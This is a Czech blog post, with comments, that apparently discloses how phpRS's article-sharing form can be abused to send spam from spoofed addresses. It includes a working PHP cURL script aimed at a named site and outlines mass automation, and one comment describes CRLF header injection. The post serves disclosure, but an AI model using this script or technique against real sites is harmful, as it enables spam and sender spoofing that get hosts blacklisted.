Redakční systém phpRS - kamarád všech spamerů
Redakční systém phpRS asi není nutné příliš představovat. Jeden z mála redakčních systémů české výroby, které se u nás významněji prosadil. Když jsem se prohrabával jeho zdrojovými kódy, uvědomil jsem si, jak snadné je zneužít jeho funkcionalit k rozesílání spamu.
Pod každým článkem je tlačítko umožňující odeslat odkaz na článek na libovolný mail a z libovolné mailové adresy. To by samo o sobě nebylo problém. Ale je možné připojit i krátký text a tady začíná ta pravá legrace. Odesílání mailu není podmíněno žádnou kontrolou v podobě CAPTCHA nebo 'pouze registrovaní uživatelé'.
Tamper Data s odchyceným HTTP requestem s informacemi pro odesílání e-mailu
Jak tedy celý koncept vypadá? Ve své podstatě je velmi triviální. Potřebujeme tři základní věci: Seznam webových stránek běžících na phpRS, parser stránky a skript odesílající nadefinovaná POST data na skript rservice.php. Parser stránky má za úkol získat číslo článku a titulek článku na dané URL adrese. Skript na odesílání nadefinovaných POST dat jen převezme získané číslo článku a titulek a odešle data na danou stránku. Ukázkový kód pro odeslání POST dat na zadanou URL adresu by mohl vypadat následovně:
SendData('http://www.supersvet.cz/rservice.php');
echo "Done!";
exit;
function SendData($url){
$fields_string = "";
$ch = curl_init();
$fields = array('akce' => urlencode('sendinfo'),
'cisloclanku' => urlencode('2008100001'),
'prtitulek' => urlencode('Zveme vás na Databázový svět 2008'),
'prprijemce' => urlencode('[email protected]'),
'prodesilatel' => urlencode('[email protected]'),
'przprava' => urlencode('Tohle není spam: hxxp://security-portal.cz'));
foreach($fields as $key=>$value){
$fields_string .= $key.'='.$value.'&';
}
rtrim($fields_string, '&');
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, count($fields));
curl_setopt($ch, CURLOPT_POSTFIELDS, $fields_string);
$result = curl_exec($ch);
curl_close($ch);
}
?>
- Pro psaní komentářů se přihlašte
CRLF injection
Jojo, toto je poměrně častý problém webových aplikací, nejen phpRS. Nevím, jak je na tom phpRS, ale docela dost srandy si lze někdy při odesílání těchto pozvánek užít s CRLF injekcí. Stačí vložit do některého z polí bílé znaky pro přechod na nový řádek a přidat si tak do výsledného e-mailu další libovolné hlavičky. Někdy tak není problém úplně nahradit předmět nebo tělo celého emailu.
Ano. Jsem si vědom možností
Ano. Jsem si vědom možností CRLF injection a plně souhlasím s tvým komentářem. Ale mně v tomto postu šlo hlavně o zneužití vlastnosti phpRS.
/////////////////////////////
/////////////////////////////////////////
x
Ved na phpRS o tom pisali uz v roku 2007.
Nevím, nečetl jsem
Nevím, nečetl jsem (nepřiložíš odkaz?). Pokud je to tak, jak píšeš, situace se v nové verzi nijak nezměnila, tudíž to považuji za přetrvávájící chybu a přetrvávající potenciální riziko hlavně pro hostingy, na kterých je phpRS hostované. Na blacklist se hosting dostane jednoduše. Obráceně už je to podstatně složitější a náročnější.